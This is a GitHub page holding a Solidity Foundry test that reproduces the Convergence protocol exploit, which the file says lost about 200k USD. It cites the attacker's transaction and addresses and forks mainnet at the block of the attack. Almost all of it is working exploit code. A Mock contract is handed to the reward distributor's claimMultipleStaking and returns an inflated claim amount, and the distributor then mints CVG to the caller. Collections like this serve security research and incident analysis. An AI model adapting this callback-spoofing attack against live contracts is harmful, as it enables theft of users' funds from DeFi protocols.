-
Notifications
You must be signed in to change notification settings - Fork 1.2k
/
Convergence_exp.sol
78 lines (60 loc) · 2.63 KB
/
Convergence_exp.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;
import "forge-std/Test.sol";
import "./../interface.sol";
// @KeyInfo -- Total Lost : ~200k USD
// TX : https://etherscan.io/tx/0x636be30e58acce0629b2bf975b5c3133840cd7d41ffc3b903720c528f01c65d9
// Original Attacker: https://etherscan.io/address/0x03560a9d7a2c391fb1a087c33650037ae30de3aa
// Original Attack Contract : https://etherscan.io/address/0xee45384d4861b6fb422dfa03fbdcc6e29d7beb69
// GUY : https://x.com/DecurityHQ/status/1819030089012527510
interface ICommonStruct {
struct TokenAmount {
IERC20 token;
uint256 amount;
}
}
interface ICvxStakingPositionService {
function claimCvgCvxMultiple(
address account
) external returns (uint256, ICommonStruct.TokenAmount[] memory);
}
interface ICvxRewardDistributor {
function claimMultipleStaking(
ICvxStakingPositionService[] calldata claimContracts,
address _account,
uint256 _minCvgCvxAmountOut,
bool _isConvert,
uint256 cvxRewardCount
) external;
}
interface ICurveTwocryptoOptimized {
function exchange(uint256 i, uint256 j, uint256 dx, uint256 min_dy, address receiver) external returns (uint256);
}
contract ContractTest is Test {
ICvxRewardDistributor cvxRewardDistributor = ICvxRewardDistributor(0x2b083beaaC310CC5E190B1d2507038CcB03E7606);
IERC20 CVG = IERC20(0x97efFB790f2fbB701D88f89DB4521348A2B77be8);
ICurveTwocryptoOptimized CVGETH = ICurveTwocryptoOptimized(0x004C167d27ADa24305b76D80762997Fa6EB8d9B2);
ICurveTwocryptoOptimized CVGFRAX = ICurveTwocryptoOptimized(0xa7B0E924c2dBB9B4F576CCE96ac80657E42c3e42);
function setUp() public {
vm.createSelectFork("mainnet", 20_434_450 - 1);
}
function testExploit() external {
Mock mock = new Mock();
ICvxStakingPositionService[] memory claimContracts = new ICvxStakingPositionService[](1);
claimContracts[0] = ICvxStakingPositionService(address(mock));
CVG.totalSupply();
cvxRewardDistributor.claimMultipleStaking(claimContracts, address(this), 1, true, 1);
uint256 cvg_bal = CVG.balanceOf(address(this));
emit log_named_decimal_uint("[End] Attacker CVG balance after exploit", cvg_bal, 18);
}
receive() external payable {}
}
contract Mock {
IERC20 CVG = IERC20(0x97efFB790f2fbB701D88f89DB4521348A2B77be8);
function claimCvgCvxMultiple(
address account
) external returns (uint256, ICommonStruct.TokenAmount[] memory) {
ICommonStruct.TokenAmount[] memory tokenAmount = new ICommonStruct.TokenAmount[](0);
return (type(uint256).max - CVG.totalSupply(), tokenAmount);
}
}